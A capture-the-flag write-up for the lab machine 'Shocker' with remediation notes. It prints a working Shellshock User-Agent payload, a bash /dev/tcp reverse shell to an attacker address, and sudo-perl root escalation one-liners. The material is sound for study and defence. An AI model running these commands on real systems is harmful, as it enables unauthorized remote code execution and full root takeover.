Shocker
Summary
I discovered an unpatched Apache CGI script and exploited the decade-old Shellshock vulnerability (CVE-2014-6271) to execute arbitrary operating-system commands as the local user 'shelly'. From that foothold my found that shelly could run Perl as root without entering a password — a single GTFOBins one-liner then gave full root access and the ability to read every file on the system.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p- --min-rate 5000 $TARGET -oN nmap_full.txtgobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,pl,cgi --status-codes-blacklist 404gobuster dir -u http://$TARGET/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,cgi,plExact commands 1
curl -sS -m 8 -A '() { :;}; echo; /usr/bin/id' http://$TARGET/cgi-bin/user.shFixPatch Bash against Shellshock and restrict or disable CGI executionCritical
Exact commands 2
nc -lvnp 4444curl -sS -m 8 -A "() { :;}; echo; /bin/bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" http://$TARGET/cgi-bin/user.shExact commands 1
find / -name user.txt -type f 2>/dev/null -print -exec cat {} \;Exact commands 1
sudo -lFixRemove NOPASSWD sudo rights for general-purpose scripting interpretersCritical
Exact commands 2
sudo -n /usr/bin/perl -e 'print qx(id); print qx(cat /root/root.txt 2>/dev/null);'sudo /usr/bin/perl -e 'exec "/bin/bash";'Attack patterns used
The transferable techniques behind this compromise.
Shellshock (Bash CGI RCE)Web · Service RCET1190CVE-2014-6271
What it is
Shellshock abuses a flaw in GNU Bash's parsing of environment variables: a variable whose value begins with a function definition (() { :;};) is followed by trailing commands that Bash executes immediately on startup. When a web server runs a CGI script via Bash, externally controlled HTTP headers (commonly User-Agent or Cookie) are exported into the environment, so the trailing payload runs as the web user.
Why it works
CGI scripts pass request metadata into the shell environment by design, and pre-patch Bash executed the trailing code unconditionally. Any internet-facing cgi-bin endpoint backed by Bash was exploitable without authentication. Remediation is patching Bash and retiring Bash-CGI; detection is trivial via the () { :;} signature in request logs.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.